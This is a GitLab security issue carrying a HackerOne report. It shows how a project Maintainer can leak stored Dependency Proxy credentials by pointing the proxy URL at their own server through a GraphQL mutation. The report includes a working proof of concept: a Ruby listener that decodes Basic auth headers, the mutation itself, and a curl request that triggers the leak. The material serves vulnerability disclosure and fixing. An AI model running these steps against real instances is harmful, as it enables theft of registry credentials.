Sign in or sign up before continuing. Don't have an account yet? Register now to get started.
Register now

Maintainer can leak Dependency Proxy password by changing Dependency Proxy URL via POST /api/graphql `updateDependencyProxyPackagesSettings` operation

⚠ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2466205 by ac7n0w on 2024-04-17, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

I've discovered a vulnerability similar to the one reported in GitLab issue #385118, which can lead to the leakage of authentication information for the Dependency Proxy. Although restrictions have been implemented to prevent the password field of the Dependency Proxy from being exposed, I found a method to circumvent this check. An attacker can modify the URL of the Dependency Proxy and then trigger a dependency_proxy request to send the username and password to the attacker's server.

This vulnerability was verified on the v16.10.2-ee version. You must install version 16.10.2-ee (not the CE version) and have a license to enable Ultimate features. If you do not have a license, you can obtain one by following the instructions in the hackerone-triage-team-gitlab-licenses.

Steps to reproduce
  1. Install GitLab on the server <host> and create a project using the root account root/<repo_name>.
  2. Navigate to root/<repo_name> -> [Settings] -> [Packages and Registries], and locate the Dependency Proxy settings at the bottom of the page.
  3. Enable [Enable Dependency Proxy] and fill in the URL, Username, and Password.

set.png

  1. Run the following Ruby script to start an HTTP server to receive the password:
require 'webrick'  
require 'base64'

server = WEBrick::HTTPServer.new(:Port => 9000)  
server.mount_proc '/' do |req, res|  
  if req.header.key?("authorization") && !req.header["authorization"].empty?  
    auth_header = req.header["authorization"].to_s  
    encoded_credentials = auth_header.sub('Basic ', '')  
    decoded_credentials = Base64.decode64(encoded_credentials)  
    puts "Username:Password: #{decoded_credentials}"  
  else  
    puts "Authorization header is empty or not present"  
  end  
end

trap 'INT' do  
  server.shutdown  
end  
server.start  
  1. As I do not have access to a cloud server, I set up this HTTP server locally. To allow GitLab to access this server, I have previously allowed 'Allow requests to the local network' in [Admin Area] -> [Settings] -> [Outbound requests].

out.png

  1. Create an attacker account attacher and invite it as a Maintainer to become a member of root/<repo_name>.
  2. Set up a Burp proxy, log in as attacher, navigate to the Dependency Proxy settings page like root, modify the URL to our pre-configured address (do not enter a password). Upon clicking save, an error is displayed on the page.

error.png

  1. Find this request in the Burp's HTTP History.

http-history.png

  1. Send this request to the [Repeater], remove the mavenExternalRegistryPassword field, and resend the request. It is found that the setting can be successful.

repeater.png

  1. Replace <username>, <personal access token>, <host>, and <project_id> in the command below and execute it. You will find that the root user's password is printed out on the ruby server.
curl "https://<username>:<personal access token>@<host>/api/v4/projects/<project_id>/dependency_proxy/packages/maven/com/my_company/my_package/1.2.3/my_package-1.2.3.pom"  

print.png

Impact

  1. Maintainers can leak Dependency Proxy authentication credentials that should not be accessible after configuration.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • set.png
  • repeater.png
  • print.png
  • out.png
  • http-history.png
  • error.png

How To Reproduce

From #458484 (comment 1978587424)

Here are the simplified reproduction steps as we don't need a proxy at all:

  1. Setup the dependency proxy settings with any url + a username and password.

  2. Using /-/graphql-explorer, execute:

    mutation {
      updateDependencyProxyPackagesSettings (input: { projectPath: "<project path>", mavenExternalRegistryUrl: "<new url>"}) {
        dependencyProxyPackagesSetting {
          mavenExternalRegistryUrl
          mavenExternalRegistryUsername
        }
        errors
      }
    }
  3. <new url> should be a backend that reads and dumps the basic auth configuration.

  4. access api/v4/projects/<project_id>/dependency_proxy/packages/maven/foo/1/a and watch the backend on <new url> dumping the username and password of (1.).

Edited Aug 28, 2024 by Radamanthus Batnag
Assignee Loading
Time tracking Loading